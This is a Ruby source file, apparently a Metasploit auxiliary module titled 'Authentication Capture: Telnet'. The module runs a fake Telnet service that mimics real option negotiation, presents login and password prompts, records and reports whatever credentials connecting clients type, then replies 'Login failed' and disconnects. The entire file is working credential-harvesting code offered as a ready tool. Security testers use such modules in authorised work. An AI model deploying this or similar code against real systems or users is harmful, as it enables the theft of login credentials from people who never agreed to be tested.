require 'msf/core' # Fake Telnet Service - Kris Katterjohn 09/28/2008 class Metasploit3 < Msf::Auxiliary include Exploit::Remote::TcpServer include Auxiliary::Report def initialize super( 'Name' => 'Authentication Capture: Telnet', 'Version' => '$Revision$', 'Description' => %q{ This module provides a fake Telnet service that is designed to capture authentication credentials. DONTs and WONTs are sent to the client for all option negotiations, except for ECHO at the time of the password prompt since the server controls that for a bit more realism. }, 'Author' => 'kris', 'License' => MSF_LICENSE, 'Actions' => [ [ 'Capture' ] ], 'PassiveActions' => [ 'Capture' ], 'DefaultAction' => 'Capture' ) register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 23 ]) ], self.class) end def setup super @state = {} end def run exploit() end def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil, :gotuser => false, :gotpass => false, :started => false } end def on_client_data(c) data = c.get_once return if not data offset = 0 if data[0] == 0xff 0.step(data.size, 3) do |x| break if data[x] != 0xff # Answer DONT/WONT for WILL/WONTs and DO/DONTs, # except for echoing which we WILL control for # the password reply = "\xffX#{data[x + 2].chr}" if @state[c][:pass] and data[x + 2] == 0x01 reply[1] = "\xfb" elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc reply[1] = "\xfe" elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe reply[1] = "\xfc" end c.put reply offset += 3 end end if not @state[c][:started] c.put "\r\nWelcome.\r\n\r\n" @state[c][:started] = true end if @state[c][:user].nil? c.put "\x01" c.put "\x00Login: " @state[c][:user] = "" return end return if offset >= data.size data = data[offset, data.size] if not @state[c][:gotuser] @state[c][:user] = data.strip @state[c][:gotuser] = true c.put "\xff\xfb\x01" # WILL ECHO end if @state[c][:pass].nil? c.put "\x01" c.put "\x00Password: " @state[c][:pass] = "" return end if not @state[c][:gotpass] @state[c][:pass] = data.strip @state[c][:gotpass] = true c.put "\x00\r\n" end report_auth_info( :host => @state[c][:ip], :proto => 'telnet', :targ_host => datastore['SRVHOST'], :targ_port => datastore['SRVPORT'], :user => @state[c][:user], :pass => @state[c][:pass] ) print_status("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") c.put "\r\nLogin failed\r\n\r\n" c.close end def on_client_close(c) @state.delete(c) end end